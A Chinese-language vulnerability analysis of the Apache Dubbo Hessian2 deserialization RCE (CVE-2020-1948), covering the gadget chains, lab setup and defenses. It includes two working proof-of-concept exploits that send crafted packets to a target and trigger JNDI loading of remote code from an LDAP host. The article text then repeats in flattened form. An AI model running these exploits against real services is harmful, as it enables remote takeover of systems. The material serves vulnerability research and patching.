CVE-2020-1948Apache Dubbo 反序列化RCE漏洞分析
字数 1868 2025-08-15 21:31:17

Apache Dubbo 反序列化RCE漏洞(CVE-2020-1948)深度分析与利用指南

漏洞概述

CVE-2020-1948是Apache Dubbo中存在的一个反序列化远程代码执行漏洞,影响Dubbo 2.7.3及以下版本。攻击者可以通过构造恶意的RPC请求,利用Dubbo默认使用的Hessian2反序列化机制实现远程代码执行。

漏洞复现环境

必备环境

  • Dubbo版本: 2.7.3 (dubbo-spring-boot-samples)
  • JDK版本: 1.8.66或更低版本(8u113之前)
  • 依赖项: 需要添加Rome工具依赖

依赖配置

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

复现失败可能原因

  1. 缺少Rome依赖
  2. JDK版本过高(需使用JDK 6u132、7u122或8u113之前的版本)

漏洞原理分析

Dubbo RPC反序列化机制

Dubbo RPC默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize进行反序列化操作。

关键反序列化流程

  1. org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker
  2. org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument
  3. org.apache.dubbo.rpc.RpcInvocation.toString
  4. org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode
  5. org.apache.dubbo.common.serialize.Serialization
  6. org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
  7. org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput
  8. com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject

Hessian2反序列化核心逻辑

Hessian2Input#readObject方法根据特定tag进行数据处理:

  • 'N': null值
  • 'H': 键值对
  • 'M': Map类型
  • 'C': 类定义

关键方法:

  1. readObjectDefinition: 读取类定义
  2. readObjectInstance: 实例化对象

漏洞利用链分析

利用方式一:HashMap触发hashCode

通过构造特殊的HashMap,利用key的hashCode方法触发反序列化:

  1. 利用com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectH标签
  2. 通过HashMap触发key的hashCode方法实现反序列化

调用链:

java.util.HashMap#hash
java.lang.Object#hashCode
java.util.HashMap#put
com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap
com.alibaba.com.caucho.hessian.io.MapDeserializer#readMap
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject
org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody

利用方式二:RemotingException触发toString

利用Rome工具的ToStringBean在异常抛出时隐式调用toString方法:

  1. 通过com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance实例化ToStringBeanJdbcRowSetImpl
  2. 利用org.apache.dubbo.remoting.RemotingException抛错输出时触发JNDI注入

调用链:

com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance
com.alibaba.com.caucho.hessian.io.AbstractHessianInput#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject
com.alibaba.com.caucho.hessian.io.Deserializer#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer#deserialize
org.apache.dubbo.remoting.RemotingException

漏洞利用POC

POC1: 利用HashMap触发hashCode

public class CVE_2020_1948_RomePoc {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        rs.setDataSourceName("ldap://127.0.0.1:8078/Calc");
        rs.setMatchColumn("foo");
        Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
        
        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);
        
        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        
        Class<?> nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);
        
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        // 构造Dubbo协议头
        byte[] header = new byte[16];
        Bytes.short2bytes((short) 0xdabb, header);
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        
        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);
        out.writeObject(s);
        out.flushBuffer();
        
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }
        
        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
        byte[] bytes = byteArrayOutputStream.toByteArray();
        
        // 发送恶意请求
        Socket socket = new Socket("192.168.80.1", 12345);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

POC2: 利用RemotingException触发toString

client = DubboClient('192.168.80.1', 12345)
JdbcRowSetImpl = new_object('com.sun.rowset.JdbcRowSetImpl', 
                          dataSource="ldap://192.168.80.1:8078/Calc",
                          strMatchColumns=["foo"])
JdbcRowSetImplClass = new_object('java.lang.Class', 
                               name="com.sun.rowset.JdbcRowSetImpl")
toStringBean = new_object('com.rometools.rome.feed.impl.ToStringBean',
                        beanClass=JdbcRowSetImplClass,
                        obj=JdbcRowSetImpl)
resp = client.send_request_and_return_response(
    service_name='cn.rui0',
    method_name='rce',
    args=[toStringBean])

防御措施

  1. 升级Dubbo版本:升级到Dubbo 2.7.4或更高版本
  2. 限制反序列化类:配置Hessian2的allowedType白名单
  3. 使用高版本JDK:使用JDK 6u132、7u122或8u113之后的版本
  4. 网络隔离:限制Dubbo服务端口的访问权限

参考资源

  1. Dubbo官方邮件列表讨论
  2. Rui0的toString利用研究

通过本文的详细分析,安全研究人员可以深入理解CVE-2020-1948漏洞的原理和利用方式,同时也为防御此类漏洞提供了有效建议。

Apache Dubbo 反序列化RCE漏洞(CVE-2020-1948)深度分析与利用指南 漏洞概述 CVE-2020-1948是Apache Dubbo中存在的一个反序列化远程代码执行漏洞,影响Dubbo 2.7.3及以下版本。攻击者可以通过构造恶意的RPC请求,利用Dubbo默认使用的Hessian2反序列化机制实现远程代码执行。 漏洞复现环境 必备环境 Dubbo版本 : 2.7.3 (dubbo-spring-boot-samples) JDK版本 : 1.8.66或更低版本(8u113之前) 依赖项 : 需要添加Rome工具依赖 依赖配置 复现失败可能原因 缺少Rome依赖 JDK版本过高(需使用JDK 6u132、7u122或8u113之前的版本) 漏洞原理分析 Dubbo RPC反序列化机制 Dubbo RPC默认使用 org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize 进行反序列化操作。 关键反序列化流程 org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument org.apache.dubbo.rpc.RpcInvocation.toString org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode org.apache.dubbo.common.serialize.Serialization org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject Hessian2反序列化核心逻辑 Hessian2Input#readObject 方法根据特定tag进行数据处理: 'N' : null值 'H' : 键值对 'M' : Map类型 'C' : 类定义 关键方法: readObjectDefinition : 读取类定义 readObjectInstance : 实例化对象 漏洞利用链分析 利用方式一:HashMap触发hashCode 通过构造特殊的HashMap,利用key的hashCode方法触发反序列化: 利用 com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject 的 H 标签 通过HashMap触发key的hashCode方法实现反序列化 调用链 : 利用方式二:RemotingException触发toString 利用Rome工具的ToStringBean在异常抛出时隐式调用toString方法: 通过 com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance 实例化 ToStringBean 和 JdbcRowSetImpl 利用 org.apache.dubbo.remoting.RemotingException 抛错输出时触发JNDI注入 调用链 : 漏洞利用POC POC1: 利用HashMap触发hashCode POC2: 利用RemotingException触发toString 防御措施 升级Dubbo版本 :升级到Dubbo 2.7.4或更高版本 限制反序列化类 :配置Hessian2的 allowedType 白名单 使用高版本JDK :使用JDK 6u132、7u122或8u113之后的版本 网络隔离 :限制Dubbo服务端口的访问权限 参考资源 Dubbo官方邮件列表讨论 Rui0的toString利用研究 通过本文的详细分析,安全研究人员可以深入理解CVE-2020-1948漏洞的原理和利用方式,同时也为防御此类漏洞提供了有效建议。